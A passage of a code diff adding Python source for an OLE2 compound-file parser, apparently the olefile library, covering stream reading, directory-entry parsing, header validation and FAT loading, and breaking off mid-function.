+ # (this may not be really useful with recent Python versions)
+ data = []
+ # if size is zero, then first sector index should be ENDOFCHAIN:
+ if size == 0 and sect != ENDOFCHAIN:
+ debug("size == 0 and sect != ENDOFCHAIN:")
+ raise IOError("incorrect OLE sector index for empty stream")
+ # [PL] A fixed-length for loop is used instead of an undefined while
+ # loop to avoid DoS attacks:
+ for i in range(nb_sectors):
+ # Sector index may be ENDOFCHAIN, but only if size was unknown
+ if sect == ENDOFCHAIN:
+ if unknown_size:
+ break
+ else:
+ # else this means that the stream is smaller than declared:
+ debug("sect=ENDOFCHAIN before expected size")
+ raise IOError("incomplete OLE stream")
+ # sector index should be within FAT:
+ if sect < 0 or sect >= len(fat):
+ debug("sect=%d (%X) / len(fat)=%d" % (sect, sect, len(fat)))
+ debug("i=%d / nb_sectors=%d" % (i, nb_sectors))
+ # tmp_data = b"".join(data)
+ # f = open('test_debug.bin', 'wb')
+ # f.write(tmp_data)
+ # f.close()
+ # debug('data read so far: %d bytes' % len(tmp_data))
+ raise IOError("incorrect OLE FAT, sector index out of range")
+ # TODO: merge this code with OleFileIO.getsect() ?
+ # TODO: check if this works with 4K sectors:
+ try:
+ fp.seek(offset + sectorsize * sect)
+ except:
+ debug("sect=%d, seek=%d, filesize=%d" % (sect, offset + sectorsize * sect, filesize))
+ raise IOError("OLE sector index out of range")
+ sector_data = fp.read(sectorsize)
+ # [PL] check if there was enough data:
+ # Note: if sector is the last of the file, sometimes it is not a
+ # complete sector (of 512 or 4K), so we may read less than
+ # sectorsize.
+ if len(sector_data) != sectorsize and sect != (len(fat) - 1):
+ debug("sect=%d / len(fat)=%d, seek=%d / filesize=%d, len read=%d" % (sect, len(fat), offset + sectorsize * sect, filesize, len(sector_data)))
+ debug("seek+len(read)=%d" % (offset + sectorsize * sect + len(sector_data)))
+ raise IOError("incomplete OLE sector")
+ data.append(sector_data)
+ # jump to next sector in the FAT:
+ try:
+ sect = fat[sect] & 0xFFFFFFFF # JYTHON-WORKAROUND
+ except IndexError:
+ # [PL] if pointer is out of the FAT an exception is raised
+ raise IOError("incorrect OLE FAT, sector index out of range")
+ # [PL] Last sector should be a "end of chain" marker:
+ if sect != ENDOFCHAIN:
+ raise IOError("incorrect last sector index in OLE stream")
+ data = b"".join(data)
+ # Data is truncated to the actual stream size:
+ if len(data) >= size:
+ data = data[:size]
+ # actual stream size is stored for future use:
+ self.size = size
+ elif unknown_size:
+ # actual stream size was not known, now we know the size of read
+ # data:
+ self.size = len(data)
+ else:
+ # read data is less than expected:
+ debug("len(data)=%d, size=%d" % (len(data), size))
+ raise IOError("OLE stream size is less than declared")
+ # when all data is read in memory, BytesIO constructor is called
+ io.BytesIO.__init__(self, data)
+ # Then the _OleStream object can be used as a read-only file object.
+
+
+# --- _OleDirectoryEntry -------------------------------------------------------
+
+
+class _OleDirectoryEntry:
+
+ """
+ OLE2 Directory Entry
+ """
+
+ # [PL] parsing code moved from OleFileIO.loaddirectory
+
+ # struct to parse directory entries:
+ # <: little-endian byte order, standard sizes
+ # (note: this should guarantee that Q returns a 64 bits int)
+ # 64s: string containing entry name in unicode (max 31 chars) + null char
+ # H: uint16, number of bytes used in name buffer, including null = (len+1)*2
+ # B: uint8, dir entry type (between 0 and 5)
+ # B: uint8, color: 0=black, 1=red
+ # I: uint32, index of left child node in the red-black tree, NOSTREAM if none
+ # I: uint32, index of right child node in the red-black tree, NOSTREAM if none
+ # I: uint32, index of child root node if it is a storage, else NOSTREAM
+ # 16s: CLSID, unique identifier (only used if it is a storage)
+ # I: uint32, user flags
+ # Q (was 8s): uint64, creation timestamp or zero
+ # Q (was 8s): uint64, modification timestamp or zero
+ # I: uint32, SID of first sector if stream or ministream, SID of 1st sector
+ # of stream containing ministreams if root entry, 0 otherwise
+ # I: uint32, total stream size in bytes if stream (low 32 bits), 0 otherwise
+ # I: uint32, total stream size in bytes if stream (high 32 bits), 0 otherwise
+ STRUCT_DIRENTRY = "<64sHBBIII16sIQQIII"
+ # size of a directory entry: 128 bytes
+ DIRENTRY_SIZE = 128
+ assert struct.calcsize(STRUCT_DIRENTRY) == DIRENTRY_SIZE
+
+ def __init__(self, entry, sid, olefile):
+ """
+ Constructor for an _OleDirectoryEntry object.
+ Parses a 128-bytes entry from the OLE Directory stream.
+
+ :param entry : string (must be 128 bytes long)
+ :param sid : index of this directory entry in the OLE file directory
+ :param olefile: OleFileIO containing this directory entry
+ """
+ self.sid = sid
+ # ref to olefile is stored for future use
+ self.olefile = olefile
+ # kids is a list of children entries, if this entry is a storage:
+ # (list of _OleDirectoryEntry objects)
+ self.kids = []
+ # kids_dict is a dictionary of children entries, indexed by their
+ # name in lowercase: used to quickly find an entry, and to detect
+ # duplicates
+ self.kids_dict = {}
+ # flag used to detect if the entry is referenced more than once in
+ # directory:
+ self.used = False
+ # decode DirEntry
+ (name, namelength, self.entry_type, self.color, self.sid_left, self.sid_right, self.sid_child, clsid, self.dwUserFlags, self.createTime, self.modifyTime, self.isectStart, sizeLow, sizeHigh) = struct.unpack(
+ _OleDirectoryEntry.STRUCT_DIRENTRY, entry
+ )
+ if self.entry_type not in [STGTY_ROOT, STGTY_STORAGE, STGTY_STREAM, STGTY_EMPTY]:
+ olefile._raise_defect(DEFECT_INCORRECT, "unhandled OLE storage type")
+ # only first directory entry can (and should) be root:
+ if self.entry_type == STGTY_ROOT and sid != 0:
+ olefile._raise_defect(DEFECT_INCORRECT, "duplicate OLE root entry")
+ if sid == 0 and self.entry_type != STGTY_ROOT:
+ olefile._raise_defect(DEFECT_INCORRECT, "incorrect OLE root entry")
+ # debug (struct.unpack(fmt_entry, entry[:len_entry]))
+ # name should be at most 31 unicode characters + null character,
+ # so 64 bytes in total (31*2 + 2):
+ if namelength > 64:
+ olefile._raise_defect(DEFECT_INCORRECT, "incorrect DirEntry name length")
+ # if exception not raised, namelength is set to the maximum value:
+ namelength = 64
+ # only characters without ending null char are kept:
+ name = name[: (namelength - 2)]
+ # TODO: check if the name is actually followed by a null unicode character ([MS-CFB] 2.6.1)
+ # TODO: check if the name does not contain forbidden characters:
+ # [MS-CFB] 2.6.1: "The following characters are illegal and MUST NOT be part of the name: '/', '\', ':', '!'."
+ # name is converted from UTF-16LE to the path encoding specified in the OleFileIO:
+ self.name = olefile._decode_utf16_str(name)
+
+ debug("DirEntry SID=%d: %s" % (self.sid, repr(self.name)))
+ debug(" - type: %d" % self.entry_type)
+ debug(" - sect: %d" % self.isectStart)
+ debug(" - SID left: %d, right: %d, child: %d" % (self.sid_left, self.sid_right, self.sid_child))
+
+ # sizeHigh is only used for 4K sectors, it should be zero for 512 bytes
+ # sectors, BUT apparently some implementations set it as 0xFFFFFFFF, 1
+ # or some other value so it cannot be raised as a defect in general:
+ if olefile.sectorsize == 512:
+ if sizeHigh != 0 and sizeHigh != 0xFFFFFFFF:
+ debug("sectorsize=%d, sizeLow=%d, sizeHigh=%d (%X)" % (olefile.sectorsize, sizeLow, sizeHigh, sizeHigh))
+ olefile._raise_defect(DEFECT_UNSURE, "incorrect OLE stream size")
+ self.size = sizeLow
+ else:
+ self.size = sizeLow + (long(sizeHigh) << 32)
+ debug(" - size: %d (sizeLow=%d, sizeHigh=%d)" % (self.size, sizeLow, sizeHigh))
+
+ self.clsid = _clsid(clsid)
+ # a storage should have a null size, BUT some implementations such as
+ # Word 8 for Mac seem to allow non-null values => Potential defect:
+ if self.entry_type == STGTY_STORAGE and self.size != 0:
+ olefile._raise_defect(DEFECT_POTENTIAL, "OLE storage with size>0")
+ # check if stream is not already referenced elsewhere:
+ if self.entry_type in (STGTY_ROOT, STGTY_STREAM) and self.size > 0:
+ if self.size < olefile.minisectorcutoff and self.entry_type == STGTY_STREAM: # only streams can be in MiniFAT
+ # ministream object
+ minifat = True
+ else:
+ minifat = False
+ olefile._check_duplicate_stream(self.isectStart, minifat)
+
+ def build_storage_tree(self):
+ """
+ Read and build the red-black tree attached to this _OleDirectoryEntry
+ object, if it is a storage.
+ Note that this method builds a tree of all subentries, so it should
+ only be called for the root object once.
+ """
+ debug("build_storage_tree: SID=%d - %s - sid_child=%d" % (self.sid, repr(self.name), self.sid_child))
+ if self.sid_child != NOSTREAM:
+ # if child SID is not NOSTREAM, then this entry is a storage.
+ # Let's walk through the tree of children to fill the kids list:
+ self.append_kids(self.sid_child)
+
+ # Note from OpenOffice documentation: the safest way is to
+ # recreate the tree because some implementations may store broken
+ # red-black trees...
+
+ # in the OLE file, entries are sorted on (length, name).
+ # for convenience, we sort them on name instead:
+ # (see rich comparison methods in this class)
+ self.kids.sort()
+
+ def append_kids(self, child_sid):
+ """
+ Walk through red-black tree of children of this directory entry to add
+ all of them to the kids list. (recursive method)
+
+ :param child_sid : index of child directory entry to use, or None when called
+ first time for the root. (only used during recursion)
+ """
+ # [PL] this method was added to use simple recursion instead of a complex
+ # algorithm.
+ # if this is not a storage or a leaf of the tree, nothing to do:
+ if child_sid == NOSTREAM:
+ return
+ # check if child SID is in the proper range:
+ if child_sid < 0 or child_sid >= len(self.olefile.direntries):
+ self.olefile._raise_defect(DEFECT_FATAL, "OLE DirEntry index out of range")
+ # get child direntry:
+ child = self.olefile._load_direntry(child_sid) # direntries[child_sid]
+ debug("append_kids: child_sid=%d - %s - sid_left=%d, sid_right=%d, sid_child=%d" % (child.sid, repr(child.name), child.sid_left, child.sid_right, child.sid_child))
+ # the directory entries are organized as a red-black tree.
+ # (cf. Wikipedia for details)
+ # First walk through left side of the tree:
+ self.append_kids(child.sid_left)
+ # Check if its name is not already used (case-insensitive):
+ name_lower = child.name.lower()
+ if name_lower in self.kids_dict:
+ self.olefile._raise_defect(DEFECT_INCORRECT, "Duplicate filename in OLE storage")
+ # Then the child_sid _OleDirectoryEntry object is appended to the
+ # kids list and dictionary:
+ self.kids.append(child)
+ self.kids_dict[name_lower] = child
+ # Check if kid was not already referenced in a storage:
+ if child.used:
+ self.olefile._raise_defect(DEFECT_INCORRECT, "OLE Entry referenced more than once")
+ child.used = True
+ # Finally walk through right side of the tree:
+ self.append_kids(child.sid_right)
+ # Afterwards build kid's own tree if it's also a storage:
+ child.build_storage_tree()
+
+ def __eq__(self, other):
+ "Compare entries by name"
+ return self.name == other.name
+
+ def __lt__(self, other):
+ "Compare entries by name"
+ return self.name < other.name
+
+ def __ne__(self, other):
+ return not self.__eq__(other)
+
+ def __le__(self, other):
+ return self.__eq__(other) or self.__lt__(other)
+
+ # Reflected __lt__() and __le__() will be used for __gt__() and __ge__()
+
+ # TODO: replace by the same function as MS implementation ?
+ # (order by name length first, then case-insensitive order)
+
+ def dump(self, tab=0):
+ "Dump this entry, and all its subentries (for debug purposes only)"
+ TYPES = ["(invalid)", "(storage)", "(stream)", "(lockbytes)", "(property)", "(root)"]
+ print(" " * tab + repr(self.name), TYPES[self.entry_type], end=" ")
+ if self.entry_type in (STGTY_STREAM, STGTY_ROOT):
+ print(self.size, "bytes", end=" ")
+ print()
+ if self.entry_type in (STGTY_STORAGE, STGTY_ROOT) and self.clsid:
+ print(" " * tab + "{%s}" % self.clsid)
+
+ for kid in self.kids:
+ kid.dump(tab + 2)
+
+ def getmtime(self):
+ """
+ Return modification time of a directory entry.
+
+ :returns: None if modification time is null, a python datetime object
+ otherwise (UTC timezone)
+
+ new in version 0.26
+ """
+ if self.modifyTime == 0:
+ return None
+ return filetime2datetime(self.modifyTime)
+
+ def getctime(self):
+ """
+ Return creation time of a directory entry.
+
+ :returns: None if modification time is null, a python datetime object
+ otherwise (UTC timezone)
+
+ new in version 0.26
+ """
+ if self.createTime == 0:
+ return None
+ return filetime2datetime(self.createTime)
+
+
+# --- OleFileIO ----------------------------------------------------------------
+
+
+class OleFileIO:
+ """
+ OLE container object
+
+ This class encapsulates the interface to an OLE 2 structured
+ storage file. Use the listdir and openstream methods to
+ access the contents of this file.
+
+ Object names are given as a list of strings, one for each subentry
+ level. The root entry should be omitted. For example, the following
+ code extracts all image streams from a Microsoft Image Composer file::
+
+ ole = OleFileIO("fan.mic")
+
+ for entry in ole.listdir():
+ if entry[1:2] == "Image":
+ fin = ole.openstream(entry)
+ fout = open(entry[0:1], "wb")
+ while True:
+ s = fin.read(8192)
+ if not s:
+ break
+ fout.write(s)
+
+ You can use the viewer application provided with the Python Imaging
+ Library to view the resulting files (which happens to be standard
+ TIFF files).
+ """
+
+ def __init__(self, filename=None, raise_defects=DEFECT_FATAL, write_mode=False, debug=False, path_encoding=DEFAULT_PATH_ENCODING):
+ """
+ Constructor for the OleFileIO class.
+
+ :param filename: file to open.
+
+ - if filename is a string smaller than 1536 bytes, it is the path
+ of the file to open. (bytes or unicode string)
+ - if filename is a string longer than 1535 bytes, it is parsed
+ as the content of an OLE file in memory. (bytes type only)
+ - if filename is a file-like object (with read, seek and tell methods),
+ it is parsed as-is.
+
+ :param raise_defects: minimal level for defects to be raised as exceptions.
+ (use DEFECT_FATAL for a typical application, DEFECT_INCORRECT for a
+ security-oriented application, see source code for details)
+
+ :param write_mode: bool, if True the file is opened in read/write mode instead
+ of read-only by default.
+
+ :param debug: bool, set debug mode
+
+ :param path_encoding: None or str, name of the codec to use for path
+ names (streams and storages), or None for Unicode.
+ Unicode by default on Python 3+, UTF-8 on Python 2.x.
+ (new in olefile 0.42, was hardcoded to Latin-1 until olefile v0.41)
+ """
+ set_debug_mode(debug)
+ # minimal level for defects to be raised as exceptions:
+ self._raise_defects_level = raise_defects
+ # list of defects/issues not raised as exceptions:
+ # tuples of (exception type, message)
+ self.parsing_issues = []
+ self.write_mode = write_mode
+ self.path_encoding = path_encoding
+ self._filesize = None
+ self.fp = None
+ if filename:
+ self.open(filename, write_mode=write_mode)
+
+ def _raise_defect(self, defect_level, message, exception_type=IOError):
+ """
+ This method should be called for any defect found during file parsing.
+ It may raise an IOError exception according to the minimal level chosen
+ for the OleFileIO object.
+
+ :param defect_level: defect level, possible values are:
+
+ - DEFECT_UNSURE : a case which looks weird, but not sure it's a defect
+ - DEFECT_POTENTIAL : a potential defect
+ - DEFECT_INCORRECT : an error according to specifications, but parsing can go on
+ - DEFECT_FATAL : an error which cannot be ignored, parsing is impossible
+
+ :param message: string describing the defect, used with raised exception.
+ :param exception_type: exception class to be raised, IOError by default
+ """
+ # added by [PL]
+ if defect_level >= self._raise_defects_level:
+ raise exception_type(message)
+ else:
+ # just record the issue, no exception raised:
+ self.parsing_issues.append((exception_type, message))
+
+ def _decode_utf16_str(self, utf16_str, errors="replace"):
+ """
+ Decode a string encoded in UTF-16 LE format, as found in the OLE
+ directory or in property streams. Return a string encoded
+ according to the path_encoding specified for the OleFileIO object.
+
+ :param utf16_str: bytes string encoded in UTF-16 LE format
+ :param errors: str, see python documentation for str.decode()
+ :return: str, encoded according to path_encoding
+ """
+ unicode_str = utf16_str.decode("UTF-16LE", errors)
+ if self.path_encoding:
+ # an encoding has been specified for path names:
+ return unicode_str.encode(self.path_encoding, errors)
+ else:
+ # path_encoding=None, return the Unicode string as-is:
+ return unicode_str
+
+ def open(self, filename, write_mode=False):
+ """
+ Open an OLE2 file in read-only or read/write mode.
+ Read and parse the header, FAT and directory.
+
+ :param filename: string-like or file-like object, OLE file to parse
+
+ - if filename is a string smaller than 1536 bytes, it is the path
+ of the file to open. (bytes or unicode string)
+ - if filename is a string longer than 1535 bytes, it is parsed
+ as the content of an OLE file in memory. (bytes type only)
+ - if filename is a file-like object (with read, seek and tell methods),
+ it is parsed as-is.
+
+ :param write_mode: bool, if True the file is opened in read/write mode instead
+ of read-only by default. (ignored if filename is not a path)
+ """
+ self.write_mode = write_mode
+ # [PL] check if filename is a string-like or file-like object:
+ # (it is better to check for a read() method)
+ if hasattr(filename, "read"):
+ # TODO: also check seek and tell methods?
+ # file-like object: use it directly
+ self.fp = filename
+ elif isinstance(filename, bytes) and len(filename) >= MINIMAL_OLEFILE_SIZE:
+ # filename is a bytes string containing the OLE file to be parsed:
+ # convert it to BytesIO
+ self.fp = io.BytesIO(filename)
+ else:
+ # string-like object: filename of file on disk
+ if self.write_mode:
+ # open file in mode 'read with update, binary'
+ # According to https://docs.python.org/2/library/functions.html#open
+ # 'w' would truncate the file, 'a' may only append on some Unixes
+ mode = "r+b"
+ else:
+ # read-only mode by default
+ mode = "rb"
+ self.fp = open(filename, mode)
+ # obtain the filesize by using seek and tell, which should work on most
+ # file-like objects:
+ # TODO: do it above, using getsize with filename when possible?
+ # TODO: fix code to fail with clear exception when filesize cannot be obtained
+ filesize = 0
+ self.fp.seek(0, os.SEEK_END)
+ try:
+ filesize = self.fp.tell()
+ finally:
+ self.fp.seek(0)
+ self._filesize = filesize
+
+ # lists of streams in FAT and MiniFAT, to detect duplicate references
+ # (list of indexes of first sectors of each stream)
+ self._used_streams_fat = []
+ self._used_streams_minifat = []
+
+ header = self.fp.read(512)
+
+ if len(header) != 512 or header[:8] != MAGIC:
+ self._raise_defect(DEFECT_FATAL, "not an OLE2 structured storage file")
+
+ # [PL] header structure according to AAF specifications:
+ # Header
+ # struct StructuredStorageHeader { // [offset from start (bytes), length (bytes)]
+ # BYTE _abSig[8]; // [00H,08] {0xd0, 0xcf, 0x11, 0xe0, 0xa1, 0xb1,
+ # // 0x1a, 0xe1} for current version
+ # CLSID _clsid; // [08H,16] reserved must be zero (WriteClassStg/
+ # // GetClassFile uses root directory class id)
+ # USHORT _uMinorVersion; // [18H,02] minor version of the format: 33 is
+ # // written by reference implementation
+ # USHORT _uDllVersion; // [1AH,02] major version of the dll/format: 3 for
+ # // 512-byte sectors, 4 for 4 KB sectors
+ # USHORT _uByteOrder; // [1CH,02] 0xFFFE: indicates Intel byte-ordering
+ # USHORT _uSectorShift; // [1EH,02] size of sectors in power-of-two;
+ # // typically 9 indicating 512-byte sectors
+ # USHORT _uMiniSectorShift; // [20H,02] size of mini-sectors in power-of-two;
+ # // typically 6 indicating 64-byte mini-sectors
+ # USHORT _usReserved; // [22H,02] reserved, must be zero
+ # ULONG _ulReserved1; // [24H,04] reserved, must be zero
+ # FSINDEX _csectDir; // [28H,04] must be zero for 512-byte sectors,
+ # // number of SECTs in directory chain for 4 KB
+ # // sectors
+ # FSINDEX _csectFat; // [2CH,04] number of SECTs in the FAT chain
+ # SECT _sectDirStart; // [30H,04] first SECT in the directory chain
+ # DFSIGNATURE _signature; // [34H,04] signature used for transactions; must
+ # // be zero. The reference implementation
+ # // does not support transactions
+ # ULONG _ulMiniSectorCutoff; // [38H,04] maximum size for a mini stream;
+ # // typically 4096 bytes
+ # SECT _sectMiniFatStart; // [3CH,04] first SECT in the MiniFAT chain
+ # FSINDEX _csectMiniFat; // [40H,04] number of SECTs in the MiniFAT chain
+ # SECT _sectDifStart; // [44H,04] first SECT in the DIFAT chain
+ # FSINDEX _csectDif; // [48H,04] number of SECTs in the DIFAT chain
+ # SECT _sectFat[109]; // [4CH,436] the SECTs of first 109 FAT sectors
+ # };
+
+ # [PL] header decoding:
+ # '<' indicates little-endian byte ordering for Intel (cf. struct module help)
+ fmt_header = "<8s16sHHHHHHLLLLLLLLLL"
+ header_size = struct.calcsize(fmt_header)
+ debug("fmt_header size = %d, +FAT = %d" % (header_size, header_size + 109 * 4))
+ header1 = header[:header_size]
+ (
+ self.Sig,
+ self.clsid,
+ self.MinorVersion,
+ self.DllVersion,
+ self.ByteOrder,
+ self.SectorShift,
+ self.MiniSectorShift,
+ self.Reserved,
+ self.Reserved1,
+ self.csectDir,
+ self.csectFat,
+ self.sectDirStart,
+ self.signature,
+ self.MiniSectorCutoff,
+ self.MiniFatStart,
+ self.csectMiniFat,
+ self.sectDifStart,
+ self.csectDif,
+ ) = struct.unpack(fmt_header, header1)
+ debug(struct.unpack(fmt_header, header1))
+
+ if self.Sig != MAGIC:
+ # OLE signature should always be present
+ self._raise_defect(DEFECT_FATAL, "incorrect OLE signature")
+ if self.clsid != bytearray(16):
+ # according to AAF specs, CLSID should always be zero
+ self._raise_defect(DEFECT_INCORRECT, "incorrect CLSID in OLE header")
+ debug("MinorVersion = %d" % self.MinorVersion)
+ debug("DllVersion = %d" % self.DllVersion)
+ if self.DllVersion not in [3, 4]:
+ # version 3: usual format, 512 bytes per sector
+ # version 4: large format, 4K per sector
+ self._raise_defect(DEFECT_INCORRECT, "incorrect DllVersion in OLE header")
+ debug("ByteOrder = %X" % self.ByteOrder)
+ if self.ByteOrder != 0xFFFE:
+ # For now only common little-endian documents are handled correctly
+ self._raise_defect(DEFECT_FATAL, "incorrect ByteOrder in OLE header")
+ # TODO: add big-endian support for documents created on Mac ?
+ # But according to [MS-CFB] ? v20140502, ByteOrder MUST be 0xFFFE.
+ self.SectorSize = 2**self.SectorShift
+ debug("SectorSize = %d" % self.SectorSize)
+ if self.SectorSize not in [512, 4096]:
+ self._raise_defect(DEFECT_INCORRECT, "incorrect SectorSize in OLE header")
+ if (self.DllVersion == 3 and self.SectorSize != 512) or (self.DllVersion == 4 and self.SectorSize != 4096):
+ self._raise_defect(DEFECT_INCORRECT, "SectorSize does not match DllVersion in OLE header")
+ self.MiniSectorSize = 2**self.MiniSectorShift
+ debug("MiniSectorSize = %d" % self.MiniSectorSize)
+ if self.MiniSectorSize not in [64]:
+ self._raise_defect(DEFECT_INCORRECT, "incorrect MiniSectorSize in OLE header")
+ if self.Reserved != 0 or self.Reserved1 != 0:
+ self._raise_defect(DEFECT_INCORRECT, "incorrect OLE header (non-null reserved bytes)")
+ debug("csectDir = %d" % self.csectDir)
+ # Number of directory sectors (only allowed if DllVersion != 3)
+ if self.SectorSize == 512 and self.csectDir != 0:
+ self._raise_defect(DEFECT_INCORRECT, "incorrect csectDir in OLE header")
+ debug("csectFat = %d" % self.csectFat)
+ # csectFat = number of FAT sectors in the file
+ debug("sectDirStart = %X" % self.sectDirStart)
+ # sectDirStart = 1st sector containing the directory
+ debug("signature = %d" % self.signature)
+ # Signature should be zero, BUT some implementations do not follow this
+ # rule => only a potential defect:
+ # (according to MS-CFB, may be != 0 for applications supporting file
+ # transactions)
+ if self.signature != 0:
+ self._raise_defect(DEFECT_POTENTIAL, "incorrect OLE header (signature>0)")
+ debug("MiniSectorCutoff = %d" % self.MiniSectorCutoff)
+ # MS-CFB: This integer field MUST be set to 0x00001000. This field
+ # specifies the maximum size of a user-defined data stream allocated
+ # from the mini FAT and mini stream, and that cutoff is 4096 bytes.
+ # Any user-defined data stream larger than or equal to this cutoff size
+ # must be allocated as normal sectors from the FAT.
+ if self.MiniSectorCutoff != 0x1000:
+ self._raise_defect(DEFECT_INCORRECT, "incorrect MiniSectorCutoff in OLE header")
+ debug("MiniFatStart = %X" % self.MiniFatStart)
+ debug("csectMiniFat = %d" % self.csectMiniFat)
+ debug("sectDifStart = %X" % self.sectDifStart)
+ debug("csectDif = %d" % self.csectDif)
+
+ # calculate the number of sectors in the file
+ # (-1 because header doesn't count)
+ self.nb_sect = ((filesize + self.SectorSize - 1) // self.SectorSize) - 1
+ debug("Number of sectors in the file: %d" % self.nb_sect)
+ # TODO: change this test, because an OLE file MAY contain other data
+ # after the last sector.
+
+ # file clsid
+ self.clsid = _clsid(header[8:24])
+
+ # TODO: remove redundant attributes, and fix the code which uses them?
+ self.sectorsize = self.SectorSize # 1 << i16(header, 30)
+ self.minisectorsize = self.MiniSectorSize # 1 << i16(header, 32)
+ self.minisectorcutoff = self.MiniSectorCutoff # i32(header, 56)
+
+ # check known streams for duplicate references (these are always in FAT,
+ # never in MiniFAT):
+ self._check_duplicate_stream(self.sectDirStart)
+ # check MiniFAT only if it is not empty:
+ if self.csectMiniFat:
+ self._check_duplicate_stream(self.MiniFatStart)
+ # check DIFAT only if it is not empty:
+ if self.csectDif:
+ self._check_duplicate_stream(self.sectDifStart)
+
+ # Load file allocation tables
+ self.loadfat(header)
+ # Load direcory. This sets both the direntries list (ordered by sid)
+ # and the root (ordered by hierarchy) members.
+ self.loaddirectory(self.sectDirStart) # i32(header, 48))
+ self.ministream = None
+ self.minifatsect = self.MiniFatStart # i32(header, 60)
+
+ def close(self):
+ """
+ close the OLE file, to release the file object
+ """
+ self.fp.close()
+
+ def _check_duplicate_stream(self, first_sect, minifat=False):
+ """
+ Checks if a stream has not been already referenced elsewhere.
+ This method should only be called once for each known stream, and only
+ if stream size is not null.
+
+ :param first_sect: int, index of first sector of the stream in FAT
+ :param minifat: bool, if True, stream is located in the MiniFAT, else in the FAT
+ """
+ if minifat:
+ debug("_check_duplicate_stream: sect=%d in MiniFAT" % first_sect)
+ used_streams = self._used_streams_minifat
+ else:
+ debug("_check_duplicate_stream: sect=%d in FAT" % first_sect)
+ # some values can be safely ignored (not a real stream):
+ if first_sect in (DIFSECT, FATSECT, ENDOFCHAIN, FREESECT):
+ return
+ used_streams = self._used_streams_fat
+ # TODO: would it be more efficient using a dict or hash values, instead
+ # of a list of long ?
+ if first_sect in used_streams:
+ self._raise_defect(DEFECT_INCORRECT, "Stream referenced twice")
+ else:
+ used_streams.append(first_sect)
+
+ def dumpfat(self, fat, firstindex=0):
+ "Displays a part of FAT in human-readable form for debugging purpose"
+ # [PL] added only for debug
+ if not DEBUG_MODE:
+ return
+ # dictionary to convert special FAT values in human-readable strings
+ VPL = 8 # values per line (8+1 * 8+1 = 81)
+ fatnames = {FREESECT: "..free..", ENDOFCHAIN: "[ END. ]", FATSECT: "FATSECT ", DIFSECT: "DIFSECT "}
+ nbsect = len(fat)
+ nlines = (nbsect + VPL - 1) // VPL
+ print("index", end=" ")
+ for i in range(VPL):
+ print("%8X" % i, end=" ")
+ print()
+ for l in range(nlines):
+ index = l * VPL
+ print("%8X:" % (firstindex + index), end=" ")
+ for i in range(index, index + VPL):
+ if i >= nbsect:
+ break
+ sect = fat[i]
+ aux = sect & 0xFFFFFFFF # JYTHON-WORKAROUND
+ if aux in fatnames:
+ name = fatnames[aux]
+ else:
+ if sect == i + 1:
+ name = " --->"
+ else:
+ name = "%8X" % sect
+ print(name, end=" ")
+ print()
+
+ def dumpsect(self, sector, firstindex=0):
+ "Displays a sector in a human-readable form, for debugging purpose."
+ if not DEBUG_MODE:
+ return
+ VPL = 8 # number of values per line (8+1 * 8+1 = 81)
+ tab = array.array(UINT32, sector)
+ if sys.byteorder == "big":
+ tab.byteswap()
+ nbsect = len(tab)
+ nlines = (nbsect + VPL - 1) // VPL
+ print("index", end=" ")
+ for i in range(VPL):
+ print("%8X" % i, end=" ")
+ print()
+ for l in range(nlines):
+ index = l * VPL
+ print("%8X:" % (firstindex + index), end=" ")
+ for i in range(index, index + VPL):
+ if i >= nbsect:
+ break
+ sect = tab[i]
+ name = "%8X" % sect
+ print(name, end=" ")
+ print()
+
+ def sect2array(self, sect):
+ """
+ convert a sector to an array of 32 bits unsigned integers,
+ swapping bytes on big endian CPUs such as PowerPC (old Macs)
+ """
+ a = array.array(UINT32, sect)
+ # if CPU is big endian, swap bytes:
+ if sys.byteorder == "big":
+ a.byteswap()
+ return a
+
+ def loadfat_sect(self, sect):
+ """
+ Adds the indexes of the given sector to the FAT
+
+ :param sect: string containing the first FAT sector, or array of long integers
+ :returns: index of last FAT sector.
+ """
+ # a FAT sector is an array of ulong integers.
+ if isinstance(sect, array.array):
+ # if sect is already an array it is directly used
+ fat1 = sect
+ else:
+ # if it's a raw sector, it is parsed in an array
+ fat1 = self.sect2array(sect)
+ self.dumpsect(sect)
+ # The FAT is a sector chain starting at the first index of itself.
+ for isect in fat1:
+ isect = isect & 0xFFFFFFFF # JYTHON-WORKAROUND
+ debug("isect = %X" % isect)
+ if isect == ENDOFCHAIN or isect == FREESECT:
+ # the end of the sector chain has been reached
+ debug("found end of sector chain")
+ break
+ # read the FAT sector
+ s = self.getsect(isect)
+ # parse it as an array of 32 bits integers, and add it to the
+ # global FAT array
+ nextfat = self.sect2array(s)
+ self.fat = self.fat + nextfat
+ return isect
+
+ def loadfat(self, header):
+ """
+ Load the FAT table.
+ """
+ # The 1st sector of the file contains sector numbers for the first 109
+ # FAT sectors, right after the header which is 76 bytes long.
+ # (always 109, whatever the sector size: 512 bytes = 76+4*109)
+ # Additional sectors are described by DIF blocks
+
+ sect = header[76:512]
+ debug("len(sect)=%d, so %d integers" % (len(sect), len(sect) // 4))
+ # fat = []
+ # [PL] FAT is an array of 32 bits unsigned ints, it's more effective
+ # to use an array than a list in Python.
+ # It's initialized as empty first:
+ self.fat = array.array(UINT32)
+ self.loadfat_sect(sect)
+ # self.dumpfat(self.fat)
+ # for i in range(0, len(sect), 4):
+ # ix = i32(sect, i)
+ # #[PL] if ix == -2 or ix == -1: # ix == 0xFFFFFFFE or ix == 0xFFFFFFFF:
+ # if ix == 0xFFFFFFFE or ix == 0xFFFFFFFF:
+ # break
+ # s = self.getsect(ix)
+ # #fat = fat + [i32(s, i) for i in range(0, len(s), 4)]
+ # fat = fat + array.array(UINT32, s)
+ if self.csectDif != 0:
+ # [PL] There's a DIFAT because file is larger than 6.8MB
+ # some checks just in case:
+ if self.csectFat <= 109:
+ # there must be at least 109 blocks in header and the rest in
+ # DIFAT, so number of sectors must be >109.
+ self._raise_defect(DEFECT_INCORRECT, "incorrect DIFAT, not enough sectors")
+ if self.sectDifStart >= self.nb_sect:
+ # initial DIFAT block index must be valid
+ self._raise_defect(DEFECT_FATAL, "incorrect DIFAT, first index out of range")
+ debug("DIFAT analysis...")
+ # We compute the necessary number of DIFAT sectors :
+ # Number of pointers per DIFAT sector = (sectorsize/4)-1
+ # (-1 because the last pointer is the next DIFAT sector number)
+ nb_difat_sectors = (self.sectorsize // 4) - 1
+ # (if 512 bytes: each DIFAT sector = 127 pointers + 1 towards next DIFAT sector)
+ nb_difat = (self.csectFat - 109 + nb_difat_sectors - 1) // nb_difat_sectors
+ debug("nb_difat = %d" % nb_difat)
+ if self.csectDif != nb_difat:
+ raise IOError("incorrect DIFAT")
+ isect_difat = self.sectDifStart
